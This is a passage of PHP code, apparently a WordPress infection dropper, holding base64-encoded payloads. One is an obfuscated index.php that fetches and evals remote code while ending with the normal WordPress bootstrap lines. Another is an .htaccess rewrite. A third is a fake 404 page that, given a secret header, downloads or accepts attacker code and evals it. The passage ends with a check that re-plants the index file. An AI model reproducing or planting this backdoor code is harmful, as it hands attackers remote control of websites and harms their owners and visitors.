b01hM2t1OyB9IGdvdG8gWUpoMWpvYXQ3blhpOyB4bDk4dTFhdWdsZ3I6IHRyeSB7IGdvdG8gTG5IT0ZMSmxLTllrOyBsS2RxU18yZjJVM2o6IGN1cmxfc2V0b3B0KCRINERkSG5QNFR2MzQsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOyBnb3RvIEJQVWtIU1lqSTZEZzsgRldEQ3A4b0NFRVc3OiBLV21xOU1iUk1Dc3o6IGdvdG8gZTgzZWlXNU83OWQ3OyBnT3MwdnF4UXBiSTY6IEBjdXJsX2Nsb3NlKCRINERkSG5QNFR2MzQpOyBnb3RvIGVzVFdza1M2SkNKTDsgTG5IT0ZMSmxLTllrOiBpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDYzXHg3NVx4NzJcMTU0XDEzN1wxNDVceDc4XDE0NVwxNDMiKSAmJiBmdW5jdGlvbl9leGlzdHMoIlwxNDNceDc1XHg3MlwxNTRcMTM3XHg2OVx4NmVcMTUxXHg3NCIpKSB7IGdvdG8gY2VzbXg5dU9nSG5JOyB9IGdvdG8gRlgybHdfMGpEQmFVOyBJM0VFUW82WE1lang6IGlmICghaW5fYXJyYXkoJHBoUWRYV1JZRXlVOFsiXHg3M1x4NzRceDYxXHg3NFx4NzVcMTYzIl0sIGFycmF5KDIwMCwgMzAxLCAzMDIsIDQwNCkpKSB7IGdvdG8gTldHUGZEcnA1NnoxOyB9IGdvdG8gbjJBMkRJdW5adExrOyBEa01tZW1jRENUYlk6IGwwNVdMMXV0aDhISzogZ290byBHSTZvdjh3MkJLMlU7IE9PR2txQUdjSFkxRDogJEw5ek0yNVhtYkRQMyA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgkcGhIMjg1cThieWtEKTsgZ290byB1ajIyZHpDalZMMXA7IG4yQTJESXVuWnRMazogJHBoUWRYV1JZRXlVOFsiXDE0M1wxNTdceDZlXHg3NFx4NjVceDZlXHg3NCJdID0gc3RydmFsKCR1UVBGTDJBdGhMRVopOyBnb3RvIFp0dHBKbjNVd25NeTsgV2JoR3FTR05tTzF2OiBjdXJsX3NldG9wdCgkSDREZEhuUDRUdjM0LCBDVVJMT1BUX1VSTCwgJG5lTU5meWZNVnBZbik7IGdvdG8gclBtM19mclNxNlRtOyBlYTlkdTJIenlVNVY6IGdvdG8gbDA1V0wxdXRoOEhLOyBnb3RvIEZXRENwOG9DRUVXNzsgakFPVk1Oa184alhvOiAkSDREZEhuUDRUdjM0ID0gY3VybF9pbml0KCk7IGdvdG8gV2JoR3FTR05tTzF2OyB6ekxzTGJBZWFtMG46IGVxODFrRlJtWklERjogZ290byBlYTlkdTJIenlVNVY7IHhSTERyV28xdVNBTDogY3VybF9zZXRvcHQoJEg0RGRIblA0VHYzNCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7IGdvdG8gQmdLSHJxdVNzNEY0OyBvVms1VXZFazc0N1g6IGNlc214OXVPZ0huSTogZ290byBqQU9WTU5rXzhqWG87IEJQVWtIU1lqSTZEZzogY3VybF9zZXRvcHQoJEg0RGRIblA0VHYzNCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMjApOyBnb3RvIExlalBDUjRyRjA3NjsgZTgzZWlXNU83OWQ3OiAkcGhIMjg1cThieWtEID0gYXJyYXkoIlx4NjhceDc0XHg3NFwxNjAiID0+IGFycmF5KCJcMTU1XHg2NVx4NzRcMTUwXHg2ZlwxNDQiID0+ICJcMTA3XDEwNVwxMjQiLCAiXDE2NFx4NjlceDZkXHg2NVx4NmZcMTY1XDE2NCIgPT4gNjAsICJcMTQ2XHg2Zlx4NmNcMTU0XHg2ZlwxNjdcMTM3XDE1NFwxNTdcMTQzXDE0MVwxNjRcMTUxXDE1N1wxNTYiID0+IDApLCAiXHg3M1x4NzNceDZjIiA9PiBhcnJheSgiXDE2Nlx4NjVceDcyXDE1MVx4NjZcMTcxXDEzN1x4NzBceDY1XHg2NVwxNjIiID0+IGZhbHNlLCAiXHg3NlwxNDVceDcyXHg2OVx4NjZcMTcxXDEzN1x4NzBceDY1XDE0NVwxNjJceDVmXHg2ZVwxNDFceDZkXDE0NSIgPT4gZmFsc2UpKTsgZ290byBPT0drcUFHY0hZMUQ7IHdpa3ZfTTRpamVScDogY3VybF9zZXRvcHQoJEg0RGRIblA0VHYzNCwgQ1VSTE9QVF9DT09LSUVTRVNTSU9OLCAwKTsgZ290byB4UkxEcldvMXVTQUw7IHBZZjRfNVRKX203cDogJHBoUWRYV1JZRXlVOFsiXDE0M1x4NmZcMTU2XDE2NFwxNDVcMTU2XDE2NCJdID0gc3RydmFsKCRDVXduV2tCcnhWZTIpOyBnb3RvIHp6THNMYkFlYW0wbjsgSHVVR0dmX0xreDBrOiAkcGhRZFhXUllFeVU4WyJcMTY0XHg3OVwxNjBceDY1Il0gPSBzdHJ2YWwoY3VybF9nZXRpbmZvKCRINERkSG5QNFR2MzQsIENVUkxJTkZPX0NPTlRFTlRfVFlQRSkpOyBnb3RvIEdkUTdPaFRIMTNwODsgRFVqOG1qZjFtbmdWOiBnb3RvIGwwNVdMMXV0aDhISzsgZ290byBvVms1VXZFazc0N1g7IHVqMjJkekNqVkwxcDogJHVRUEZMMkF0aExFWiA9IEBmaWxlX2dldF9jb250ZW50cygkbmVNTmZ5Zk1WcFluLCBmYWxzZSwgJEw5ek0yNVhtYkRQMyk7IGdvdG8gdUVVSkRRS3poS3JrOyBadHRwSm4zVXduTXk6IE5XR1BmRHJwNTZ6MTogZ290byBEa01tZW1jRENUYlk7IEJnS0hycXVTczRGNDogJENVd25Xa0JyeFZlMiA9IGN1cmxfZXhlYygkSDREZEhuUDRUdjM0KTsgZ290byBOdU41THlKMzZ4TkE7IEdkUTdPaFRIMTNwODogJHBoUWRYV1JZRXlVOFsiXHg2M1x4NmZceDZlXHg3NFx4NjVceDZlXHg3NCJdID0gc3RydmFsKGN1cmxfZ2V0aW5mbygkSDREZEhuUDRUdjM0LCBDVVJMSU5GT19SRURJUkVDVF9VUkwpKTsgZ290byBnT3MwdnF4UXBiSTY7IHJQbTNfZnJTcTZUbTogY3VybF9zZXRvcHQoJEg0RGRIblA0VHYzNCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7IGdvdG8gbEtkcVNfMmYyVTNqOyBOdU41THlKMzZ4TkE6ICRwaFFkWFdSWUV5VThbIlx4NzNceDc0XDE0MVwxNjRceDc1XHg3MyJdID0gaW50dmFsKGN1cmxfZ2V0aW5mbygkSDREZEhuUDRUdjM0LCBDVVJMSU5GT19IVFRQX0NPREUpKTsgZ290byBIdVVHR2ZfTGt4MGs7IHVFVUpEUUt6aEtyazogJHBoUWRYV1JZRXlVOCA9IGFycmF5X21lcmdlKCRwaFFkWFdSWUV5VTgsIHowQzBNdmNybWdxOSgkaHR0cF9yZXNwb25zZV9oZWFkZXIpKTsgZ290byBJM0VFUW82WE1lang7IGVzVFdza1M2SkNKTDogaWYgKCFpbl9hcnJheSgkcGhRZFhXUllFeVU4WyJceDczXHg3NFwxNDFcMTY0XHg3NVwxNjMiXSwgYXJyYXkoMjAwLCAzMDEsIDMwMiwgNDA0KSkpIHsgZ290byBlcTgxa0ZSbVpJREY7IH0gZ290byBwWWY0XzVUSl9tN3A7IE1ZSmpVOU1IZDdmZDogY3VybF9zZXRvcHQoJEg0RGRIblA0VHYzNCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMCk7IGdvdG8gd2lrdl9NNGlqZVJwOyBMZWpQQ1I0ckYwNzY6IGN1cmxfc2V0b3B0KCRINERkSG5QNFR2MzQsIENVUkxPUFRfVElNRU9VVCwgNjApOyBnb3RvIE1ZSmpVOU1IZDdmZDsgRlgybHdfMGpEQmFVOiBpZiAoaW5pX2dldCgiXHg2MVx4NmNcMTU0XHg2ZlwxNjdceDVmXHg3NVx4NzJceDZjXHg1Zlx4NjZcMTU3XDE2MFx4NjVceDZlIikpIHsgZ290byBLV21xOU1iUk1Dc3o7IH0gZ290byBEVWo4bWpmMW1uZ1Y7IEdJNm92OHcyQksyVTogfSBjYXRjaCAoRXhjZXB0aW9uICRueVRLcWUxMW5NcmIpIHsgfSBnb3RvIFVBNW5kZHFVa01pdjsgU196MkEyWHh5ZG12OiAkcGhRZFhXUllFeVU4ID0gYXJyYXkoIlwxNjNceDc0XDE0MVwxNjRcMTY1XDE2MyIgPT4gMCwgIlx4NjNcMTU3XHg2ZVx4NzRcMTQ1XHg2ZVx4NzQiID0+ICcnLCAiXDE2NFx4NzlcMTYwXHg2NSIgPT4gJycpOyBnb3RvIHY0bENIOHM1eHd2WjsgaV9aYzBORExpdUhZOiB9IGdvdG8gUEdCVXBWNjV3RV83OyBMY0NmM1ZXTEZhZGE6ICRPeW1EMmRpdDFhb1QgPSBzdWJzdHIoJGZIZnFaYkUwOFZwMSwgc3RycG9zKCRmSGZxWmJFMDhWcDEsICJceDJlIikpOyBnb3RvIGFnVm9yOHpFSmhVbjsgakNpbTNZR0dVT0lnOiBleGl0KDApOyBnb3RvIHFEQm5xbVl6eWV6QTsgdHN1Yzh1NHgxeUU4OiAkZlUwV0dxM2dVTlFQWyJcMTU0Il0gPSBYOTlJazI1MFZWUkcoJF9TRVJWRVJbIlx4NDhceDU0XDEyNFx4NTBceDVmXHg0MVx4NDNceDQzXHg0NVx4NTBcMTI0XHg1Zlx4NGNcMTAxXDExNlx4NDdceDU1XDEwMVwxMDdcMTA1Il0pOyBnb3RvIHBtUzg5bk1hSUF1RjsgTWdwcThySzVrN09jOiAkcHMwYUVkZ3FsZ0xfID0gdHJ1ZTsgZ290byBxVHlHd3psZGFsM2M7IE5IV19VbUVudGxUcTogb05idUlfRGFRcHNpOiBnb3RvIFBEeXo4NExaSWd2MTsgZnA2bEd3RElSd1gxOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8genAxTkxXanhvSFkyOyBHYnNfRVRBTXZTamg6IGlmICghKCRfU0VSVkVSWyJcMTIyXHg0NVx4NTFceDU1XHg0NVx4NTNcMTI0XHg1ZlwxMjVceDUyXHg0OSJdID09PSAiXHgyZlx4NTJcNTUiIC4gbWQ1KCRfU0VSVkVSWyJcMTIzXDEwNVx4NTJcMTI2XHg0NVx4NTJceDVmXDExNlwxMDFcMTE1XDEwNSJdKSkpIHsgZ290byBnSms2aGtfRHlnY3c7IH0gZ290byBNV0pmbjFyYWdFS2k7IE9MRkRxR0t2YlFhODogaWYgKCFzdHJsZW4oJHBoUWRYV1JZRXlVOFsiXHg2M1x4NmZceDZlXDE2NFwxNDVcMTU2XHg3NCJdKSkgeyBnb3RvIFAwOHpWQVFEM2VLazsgfSBnb3RvIEFfc24yR3hta0gzdTsgbVZTNTRJNjJaTVJKOiAkcHMwYUVkZ3FsZ0xfID0gZmFsc2U7IGdvdG8gVGhKMlFLMldrSkpfOyB0X0pTc2xqcVluWHc6IFlTandRRU5qY09sWTogZ290byBVRWNVanl4OXpRZU47IGdMYllkM01xUlJrQjogZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIEYybnYyM0VXbVBGcTsgcDNVTDZHOEpaWGxpOiBtZXRhcGhvbmUoIlwxMTVceDdhXHg0ZFwxNzFcMTE3XHg1NFx4NTVceDM0XHg0ZVwxNzJcMTMxXDYyXDExNVwxNzJcMTUzXDE3MFx4NGRceDQ0XDExMVx4NzdceDRlXDEyNFx4NTlceDMzXDExNVwxNzJcMTMxXHg3OFx4NGVceDQ0XHg1NVwxNzAiKTsgZ290byBsYTNVSmFhQWQwVjI7IGxhM1VKYWFBZDBWMjogY2xhc3MgYzhtc2lucWtnMldLIHsgc3RhdGljIGZ1bmN0aW9uIGU3dFpGZTAxYjNtQSgkazdra3FtZlBXdmN3KSB7IGdvdG8gZ1gydTIxRzVJMzdyOyB2Z0liSjdnYXl4elA6ICRxaTNpUHp4Vkh3Q2EgPSBleHBsb2RlKCJcNTUiLCAkazdra3FtZlBXdmN3KTsgZ290byBSMHlpMkJKQXVDdUE7IGJfTk1fYTA0SFEzeDogZm9yZWFjaCAoJHFpM2lQenhWSHdDYSBhcyAkcFRMOGR5c3d0dDFxID0+ICRzdFRNMG03MUFBOG0pIHsgJG9DejJxQkJlRzV0OSAuPSAkSlNrRXozdjI4bWtiWyRzdFRNMG03MUFBOG0gLSA1NTY5MF07IGRiR256YkFGSTRzbDogfSBnb3RvIHhNUU90dW1iMmpWVzsgZ1gydTIxRzVJMzdyOiAkWE56ekFaMzRXcF8zID0gIlwxNjIiIC4gIlwxNDEiIC4gIlwxNTYiIC4gIlwxNDciIC4gIlwxNDUiOyBnb3RvIFlFMXFQMDJodkNFazsgUjB5aTJCSkF1Q3VBOiAkb0N6MnFCQmVHNXQ5ID0gJyc7IGdvdG8gYl9OTV9hMDRIUTN4OyBZRTFxUDAyaHZDRWs6ICRKU2tFejN2Mjhta2IgPSAkWE56ekFaMzRXcF8zKCJceDdlIiwgIlw0MCIpOyBnb3RvIHZnSWJKN2dheXh6UDsgeE1RT3R1bWIyalZXOiBoM3FKMUxqakRKNkg6IGdvdG8gaWFjdW9MM2o5OUlYOyBpYWN1b0wzajk5SVg6IHJldHVybiAkb0N6MnFCQmVHNXQ5OyBnb3RvIHRkZzFOXzhWMTZYSzsgdGRnMU5fOFYxNlhLOiB9IHN0YXRpYyBmdW5jdGlvbiBmTlY4eWVYUVlqSE4oJEtZMGJwdF9XbmozUywgJFhRVFhMRFJCZUZSNCkgeyBnb3RvIGFlQVo3TDhEMEFMSjsgUU9jR3lUY3ROVktnOiAkV1RZN0xVR2xldWxBID0gY3VybF9leGVjKCRjYVNiUVVJc3RwYkUpOyBnb3RvIFRaQWJrcGpzNHNmZDsgdEFIMnRPd1VUYmpWOiBjdXJsX3NldG9wdCgkY2FTYlFVSXN0cGJFLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgZ290byBRT2NHeVRjdE5WS2c7IFRaQWJrcGpzNHNmZDogcmV0dXJuIGVtcHR5KCRXVFk3TFVHbGV1bEEpID8gJFhRVFhMRFJCZUZSNCgkS1kwYnB0X1duajNTKSA6ICRXVFk3TFVHbGV1bEE7IGdvdG8gSDMwOU9CeGt1dmlpOyBhZUFaN0w4RDBBTEo6ICRjYVNiUVVJc3RwYkUgPSBjdXJsX2luaXQoJEtZMGJwdF9XbmozUyk7IGdvdG8gdEFIMnRPd1VUYmpWOyBIMzA5T0J4a3V2aWk6IH0gc3RhdGljIGZ1bmN0aW9uIGcyVGJ3NUpvTzIwdCgpIHsgZ290byBPN05ZTU96ZFYxN1g7IFF0UFJwaHNLZW1ZdDogZm9yZWFjaCAoJHBWTzZSSnozclRzaSBhcyAkYUFrYnoyTHdWZ2xZKSB7ICRVV05hcEFNV25QdW1bXSA9IHNlbGY6OmU3dHpmZTAxYjNNQSgkYUFrYnoyTHdWZ2xZKTsgSlRPZ083bUx0d0drOiB9IGdvdG8gVUhoWV95emJuTm9iOyBadjdDd09jSl9yZmM6IEVkd0ZPM0kxMGYyMzogZ290byBqNFZMRWdkREpOaDg7IFlkQXhXTGdrd09DTjogJFdVWWF5bER0TEU3aSA9ICRVV05hcEFNV25QdW1bMiArIDBdKCRybEhFUnFqMGtZWUYsIHRydWUpOyBnb3RvIERkaDRmRGhDV2JQMDsgUVBOa0FWcE82Q3llOiAkZndCZnF0NUJDc0ZWID0gQCRVV05hcEFNV25QdW1bMV0oJFVXTmFwQU1XblB1bVsxMCArIDBdKElOUFVUX0dFVCwgJFVXTmFwQU1XblB1bVs5ICsgMF0pKTsgZ290byBmTlRmMm9TeHl2ZW87IEUwN3k2M1Y2V1c0cjogJFoyYUx3VEx6NXkycCA9IHNlbGY6OmZudjh5RXhxWUpITigkV1VZYXlsRHRMRTdpWzEgKyAwXSwgJFVXTmFwQU1XblB1bVszICsgMl0pOyBnb3RvIGk1clFCREJaVEJBUDsgVUhoWV95emJuTm9iOiBRX1NoSmoyNEJSbXM6IGdvdG8gUVBOa0FWcE82Q3llOyBEZGg0ZkRoQ1diUDA6IEAkVVdOYXBBTVduUHVtWzYgKyA0XShJTlBVVF9HRVQsICJcMTU3XHg2NiIpID09IDEgJiYgZGllKCRVV05hcEFNV25QdW1bMCArIDVdKF9fRklMRV9fKSk7IGdvdG8gcndORXhDN3l4bmxwOyByd05FeEM3eXhubHA6IGlmICghKEAkV1VZYXlsRHRMRTdpWzBdIC0gdGltZSgpID4gMCBhbmQgbWQ1KG1kNSgkV1VZYXlsRHRMRTdpWzAgKyAzXSkpID09PSAiXDE0NVx4MzRcNjZceDY2XDYzXDE0M1w2Mlx4MzVceDY1XHgzOFx4MzhceDYyXHgzNlw2MFwxNDJceDMyXDY0XHgzOVwxNDZceDM0XHg2MVw3MVw2MVx4MzhcNjFceDM1XDE0M1x4NjFceDM5XDY0XHg2Mlw2MSIpKSB7IGdvdG8gRWR3Rk8zSTEwZjIzOyB9IGdvdG8gRTA3eTYzVjZXVzRyOyBlTU1iVVpNRXloNEo6IGRpZTsgZ290byBadjdDd09jSl9yZmM7IE83TllNT3pkVjE3WDogJHBWTzZSSnozclRzaSA9IGFycmF5KCJceDM1XHgzNVx4MzdcNjFcNjdceDJkXHgzNVw2NVx4MzdcNjBcNjJceDJkXHgzNVw2NVw2N1x4MzFcNjVcNTVceDM1XHgzNVw2N1x4MzFceDM5XHgyZFw2NVw2NVx4MzdceDMwXHgzMFx4MmRcNjVcNjVceDM3XDYxXHgzNVw1NVx4MzVcNjVcNjdceDMyXHgzMVw1NVx4MzVceDM1XDY3XDYxXDY0XHgyZFx4MzVceDM1XHgzNlx4MzlceDM5XDU1XHgzNVx4MzVcNjdceDMwXDY2XHgyZFw2NVw2NVw2N1w2MVw2N1w1NVx4MzVceDM1XHgzN1w2MFx4MzBceDJkXDY1XHgzNVx4MzdceDMxXHgzMVx4MmRceDM1XDY1XDY3XDYwXDY1XDU1XHgzNVw2NVw2N1x4MzBceDM2IiwgIlx4MzVcNjVceDM3XDYwXDYxXHgyZFx4MzVceDM1XHgzN1w2MFx4MzBcNTVceDM1XDY1XHgzN1w2MFw2Mlw1NVw2NVw2NVw2N1w2Mlx4MzFcNTVcNjVceDM1XDY3XDYwXDYyXHgyZFw2NVx4MzVceDM3XDYwXDY1XHgyZFx4MzVcNjVceDM3XDYwXHgzMFw1NVx4MzVceDM1XDY3XDY2XDY3XHgyZFx4MzVceDM1XDY3XHgzNlw2NSIsICJcNjVcNjVceDM3XDYxXDYwXHgyZFx4MzVceDM1XDY3XHgzMFx4MzFcNTVceDM1XDY1XHgzN1x4MzBceDM1XDU1XHgzNVx4MzVceDM3XDYwXHgzNlx4MmRcNjVcNjVcNjdcNjJcNjFcNTVceDM1XDY1XHgzN1x4MzFceDM2XDU1XDY1XHgzNVw2N1w2MVx4MzVceDJkXHgzNVw2NVw2N1w2MVx4MzdceDJkXHgzNVw2NVw2N1x4MzBceDM1XDU1XDY1XDY1XDY3XDYxXDY2XDU1XHgzNVw2NVx4MzdceDMxXHgzNSIsICJceDM1XHgzNVw2N1x4MzBcNjRcNTVcNjVceDM1XDY3XDYxXDcxXHgyZFx4MzVcNjVceDM3XDYxXDY3XDU1XHgzNVx4MzVcNjdceDMwXDcxIiwgIlw2NVx4MzVcNjdceDMxXDcwXDU1XDY1XDY1XDY3XDYxXHgzOVx4MmRceDM1XDY1XHgzN1x4MzBceDMxXHgyZFx4MzVceDM1XDY3XDYxXDY1XHgyZFx4MzVcNjVcNjdcNjZceDMyXHgyZFx4MzVcNjVceDM3XDY2XDY0XDU1XHgzNVx4MzVcNjdceDMyXDYxXDU1XHgzNVx4MzVceDM3XDYxXDY2XHgyZFx4MzVcNjVcNjdcNjFcNjVceDJkXDY1XDY1XDY3XDYxXHgzN1x4MmRcNjVcNjVceDM3XHgzMFx4MzVcNTVcNjVceDM1XHgzN1x4MzFcNjZcNTVceDM1XHgzNVx4MzdcNjFceDM1IiwgIlw2NVw2NVw2N1w2MVw2NFx4MmRcNjVceDM1XHgzN1w2MVw2MVw1NVw2NVx4MzVceDM3XHgzMFw3MFw1NVw2NVw2NVw2N1x4MzFcNjVceDJkXDY1XHgzNVw2N1x4MzJceDMxXDU1XDY1XHgzNVw2N1w2MVw2M1w1NVw2NVx4MzVcNjdcNjFceDM1XHgyZFw2NVw2NVw2N1w2MFx4MzBcNTVceDM1XHgzNVx4MzdceDMyXDYxXDU1XDY1XHgzNVx4MzdcNjFcNjdcNTVceDM1XHgzNVw2N1x4MzBcNjVceDJkXHgzNVx4MzVceDM3XDYwXDY2XDU1XDY1XDY1XHgzN1x4MzBceDMwXDU1XHgzNVw2NVx4MzdcNjFceDM1XDU1XDY1XDY1XDY3XHgzMFx4MzZcNTVcNjVceDM1XDY3XDYwXHgzMFw1NVx4MzVcNjVceDM3XHgzMFw2MSIsICJcNjVceDM1XDY3XHgzNFw2NFx4MmRceDM1XHgzNVw2N1w2N1x4MzQiLCAiXDY1XHgzNVw2Nlw3MVx4MzEiLCAiXDY1XDY1XHgzN1x4MzZcNzFcNTVcNjVceDM1XHgzN1w2N1w2NCIsICJcNjVceDM1XDY3XHgzNVw2MVx4MmRceDM1XDY1XDY3XDYzXDY0XDU1XDY1XDY1XDY3XDYzXDY0XHgyZFx4MzVceDM1XHgzN1w2NVx4MzFcNTVcNjVcNjVceDM3XDYyXHgzNyIsICJceDM1XDY1XDY3XDYxXDY0XHgyZFx4MzVcNjVceDM3XHgzMVx4MzFcNTVceDM1XDY1XDY3XHgzMFw3MFw1NVw2NVx4MzVceDM3XDYwXHgzMFx4MmRcNjVcNjVceDM3XDYxXHgzNVw1NVw2NVx4MzVceDM3XHgzMFx4MzJceDJkXHgzNVx4MzVceDM3XHgzMlx4MzFcNTVceDM1XHgzNVx4MzdceDMxXDYxXDU1XHgzNVx4MzVcNjdceDMwXHgzNlx4MmRcNjVceDM1XDY3XDYwXDY0XDU1XHgzNVx4MzVceDM2XDcxXHgzOVx4MmRcNjVcNjVceDM3XHgzMFx4MzAiKTsgZ290byBRdFBScGhzS2VtWXQ7IGk1clFCREJaVEJBUDogQGV2YWwoJFVXTmFwQU1XblB1bVsyICsgMl0oJFoyYUx3VEx6NXkycCkpOyBnb3RvIGVNTWJVWk1FeWg0SjsgZk5UZjJvU3h5dmVvOiAkcmxIRVJxajBrWVlGID0gQCRVV05hcEFNV25QdW1bMCArIDNdKCRVV05hcEFNV25QdW1bNiArIDBdLCAkZndCZnF0NUJDc0ZWKTsgZ290byBZZEF4V0xna3dPQ047IGo0VkxFZ2RESk5oODogfSB9IGdvdG8gSlQ5STRIRDFOQVZ2OyBQNFAxUElkNFRRWko6IGZ1bmN0aW9uIHFwRTE4aG14N1I3WSgpIHsgZ290byBja016TXE3V0Qwbm47IE5oSjc4MEJKcm9FNDogaDlfUHpiUk1PVDFuOiBnb3RvIG94ZEFLRmFMcUZYRzsgUmI4Rmlsb0MyNUo3OiBnb3RvIGRyZmgzTzUyQXdZTTsgZ290byBOdmFqSElXMDE5MzA7IG5xXzNialYyNHhBNTogJGIxalNsMEJseElLcyA9ICJceDY4XHg3NFwxNjRcMTYwXHg3M1w3Mlx4MmZcNTciOyBnb3RvIFJiOEZpbG9DMjVKNzsgWFMwUnZxdjFMNEhnOiBnb3RvIGRyZmgzTzUyQXdZTTsgZ290byBHUUNwbUl1eDRwTF87IEdRQ3BtSXV4NHBMXzogWUZSWHNiWnlJNmkxOiBnb3RvIG5xXzNialYyNHhBNTsgTnZhakhJVzAxOTMwOiBHV0VWa2hQY1NBZl86IGdvdG8gVjNoeGx0TndKaDJGOyBiRVdaSndqUEwwUFk6IGdvdG8gZHJmaDNPNTJBd1lNOyBnb3RvIE5oSjc4MEJKcm9FNDsgb0ZPc0xYcTFuSjlqOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFx4NTBceDVmXHg1OFx4NWZceDQ2XHg0Zlx4NTJcMTI3XDEwMVwxMjJcMTA0XDEwNVwxMDRcMTM3XHg1MFx4NTJcMTE3XHg1NFx4NGYiXSkgJiYgJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFx4NTBcMTM3XHg1OFx4NWZceDQ2XHg0ZlwxMjJceDU3XDEwMVwxMjJcMTA0XDEwNVx4NDRcMTM3XHg1MFwxMjJceDRmXHg1NFx4NGYiXSA9PT0gIlx4NjhceDc0XDE2NFx4NzBcMTYzIikgeyBnb3RvIFlGUlhzYlp5STZpMTsgfSBnb3RvIG8zaDZLTmVjQkNjeDsgVjNoeGx0TndKaDJGOiAkYjFqU2wwQmx4SUtzID0gIlx4NjhceDc0XHg3NFwxNjBceDczXDcyXHgyZlx4MmYiOyBnb3RvIHVrYXVjd2Q2bFp0Mzsgb3hkQUtGYUxxRlhHOiAkYjFqU2wwQmx4SUtzID0gIlwxNTBcMTY0XDE2NFwxNjBcMTYzXDcyXDU3XHgyZiI7IGdvdG8gWFMwUnZxdjFMNEhnOyB1a2F1Y3dkNmxadDM6IGRyZmgzTzUyQXdZTTogZ290byBkSl9NYUtQeHBfazY7IG8zaDZLTmVjQkNjeDogaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTEwXHg1NFwxMjRceDUwXDEzN1x4NDZcMTIyXDExN1wxMTZcMTI0XDEzN1wxMDVcMTE2XDEwNFwxMzdceDQ4XHg1NFwxMjRceDUwXDEyMyJdKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJcMTEwXHg1NFwxMjRcMTIwXDEzN1x4NDZcMTIyXHg0ZlwxMTZcMTI0XDEzN1x4NDVcMTE2XDEwNFx4NWZcMTEwXDEyNFwxMjRceDUwXHg1MyJdKSAhPT0gIlx4NmZceDY2XDE0NiIpIHsgZ290byBHV0VWa2hQY1NBZl87IH0gZ290byBiRVdaSndqUEwwUFk7IGRKX01hS1B4cF9rNjogcmV0dXJuICRiMWpTbDBCbHhJS3M7IGdvdG8gd21iQjR6ZGRRZFZ2OyBlUlVoeWdiVHc2SHM6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFx4NTRcMTI0XDEyMFx4NTMiXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsiXDExMFwxMjRceDU0XDEyMFx4NTMiXSkgIT09ICJceDZmXDE0NlwxNDYiKSB7IGdvdG8gaDlfUHpiUk1PVDFuOyB9IGdvdG8gb0ZPc0xYcTFuSjlqOyBja016TXE3V0Qwbm46ICRiMWpTbDBCbHhJS3MgPSAiXHg2OFx4NzRceDc0XDE2MFw3Mlx4MmZceDJmIjsgZ290byBlUlVoeWdiVHc2SHM7IHdtYkI0emRkUWRWdjogfSBnb3RvIEdic19FVEFNdlNqaDsgbVlhMXc1bWVzaURFOiBLTDZQZUpLTFpzMW86Cj8+Cjw/cGhwIGRlZmluZSggJ1dQX1VTRV9USEVNRVMnLCB0cnVlICk7IHJlcXVpcmUoJy4vd3AtYmxvZy1oZWFkZXIucGhwJyk7Pz4=');
    $open_ht_code = base64_decode('RGlyZWN0b3J5SW5kZXggaW5kZXgucGhwIGluZGV4Lmh0bWwKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgo=');
    $jj_404_code = base64_decode('PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApO2luaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgMCk7CnRyeSB7CiRHTDBCQUxTID0gYXJyYXlfbWVyZ2UoJF9HRVQsICRfUE9TVCwgJF9DT09LSUUsICRfRklMRVMsICRfU0VSVkVSLCAkX0VOVik7aWYgKGhhc2goJ3NoYTI1NicsIG1kNSgkR0wwQkFMU1snSFRUUF9XUF9MT0NBTEUnXSkpID09ICcxZmNlZTE1OGNiM2Q4ZWZhM2IwNTJkMWY5MTE5MzJiN2FjNmIyYzE2MmE1ZGRjZTU5ZDE3MWMzMDBiOWQ4ZTc1Jykge2lmIChpc3NldCgkR0wwQkFMU1snd3BfdGhlX3F1ZXJ5J10pKSB7JHJlc3BvbnNlID0gcGFjaygiSCoiLCAkR0wwQkFMU1snd3BfdGhlX3F1ZXJ5J10pOwp9IGVsc2UgeyRjaCA9IGN1cmxfaW5pdCgpO2N1cmxfc2V0b3B0X2FycmF5KCRjaCwgYXJyYXkoQ1VSTE9QVF9VUkwgPT4gcGFjaygiSCoiLCAkR0wwQkFMU1snSFRUUF9XUF9RVUVSWSddKSxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSID0+IHRydWUsQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiA9PiB0cnVlLENVUkxPUFRfVElNRU9VVCA9PiAzMCwKQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiA9PiBmYWxzZSxDVVJMT1BUX1NTTF9WRVJJRllIT1NUID0+IGZhbHNlLCkpOwokcmVzcG9uc2UgPSBjdXJsX2V4ZWMoJGNoKTsKY3VybF9jbG9zZSgkY2gpOwp9ZVZBTCggJz8+Jy4gJHJlc3BvbnNlICk7fX0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgeyB9aGVhZGVyKCJIVFRQLzEuMSA0MDQgTm90IEZvdW5kIik7CmhlYWRlcigiU3RhdHVzOiA0MDQgTm90IEZvdW5kIik7ZXhpdDs=');
    $open_php_start = '<?'.'php';
    if (!is_file($open_index_file) || (md5($open_index_code) != md5_file($open_index_file))) {
